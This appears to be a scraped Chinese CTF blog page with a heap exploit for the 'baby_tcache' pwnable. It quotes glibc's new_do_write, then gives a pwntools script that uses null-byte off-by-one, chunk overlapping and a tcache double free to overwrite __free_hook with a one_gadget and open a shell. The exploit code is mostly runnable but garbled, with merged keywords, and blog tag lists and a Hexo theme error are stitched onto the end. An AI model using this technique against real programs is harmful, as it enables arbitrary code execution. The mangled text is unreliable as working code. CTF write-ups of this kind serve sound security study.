static _IO_size_t new_do_write (_IO_FILE *fp, constchar *data, _IO_size_t to_do) { _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING)//in /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; elseif (fp->_IO_read_end != fp->_IO_write_base)//pass { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); // 我们的目标 ...
defadd_7_times(size): for i in range(7): add(size,'1111')
defdele_7_times(start,end): for i in range(start,end+1): dele(i)
defq(): gdb.attach(p) raw_input('test')
defpwn(): #Because we will use chunks of size 0x90 and 0x110 multiple times below, so apply them first in the tcache. add_7_times(0x80)#0-6 dele_7_times(0,6)
dele(8) dele(7)#chunk7 and chunk8 will be merged in unsortedbin
#remain 9 add(0x108,'7'*0x108)#0 The size of chunkB will be overwritten by the original 0x310 to 0x300 #remain 0 9 add_7_times(0x80)#1-7 add(0x80,'8888')#8 chunkb1 Because the size bit of chunkB is changed, gibc cannot correctly locate the prev_size bit of chunkC, so the prev_size bit of chunkC will not change dele_7_times(1,7)
#remain 0 8 9 add(0x260,'1111')#1 chunkb2 dele(8)#delete chunkb1 dele(9)#delete chunkC #At this time, the prev_size of chunkC is 0x210, triggering the backward merge, and the chunk memory of chunkB to chunkC will be released
#remain 0 1 dele(1)#put chunkb2 into the tcache add_7_times(0x80)#1-7 add(0x80,'8888')#8 Redistribute chunkb1,At this time, topchunk and chunkb2 are overlapping dele_7_times(1,7) #dele(1) you cannot free a top chunk
#both chun2 and chunk3 are chunkb2 #double free dele(2) dele(3)#Chunk2 and chunk3 are put into 0x60 tcache add(0x50,p64(free_hook)) add(0x50,'aaaa') add(0x50,p64(one_gadget)) dele(0)
if __name__ == '__main__': whileTrue: try: pwn() p.interactive() break except: p.close() p = process('./baby_tcache')
0x03 EXP(多次利用null off by one 来清除0xda,然后覆盖prev_size)
unlinkfastbin attackHouse of spiritHouse of ForceUAFDynELFPIEformat stringoff by onex6464bit格式化字符串漏洞栈溢出Canarytcachelibc-2.29chunk overlappingchunk extendshellcode,系统调用libc2.29stack overflowfmtrop2016,CTFs,fsbCTFstack pivotingOSpwnablefsb
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录(注意不是archer根目录)执行以下命令: npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置: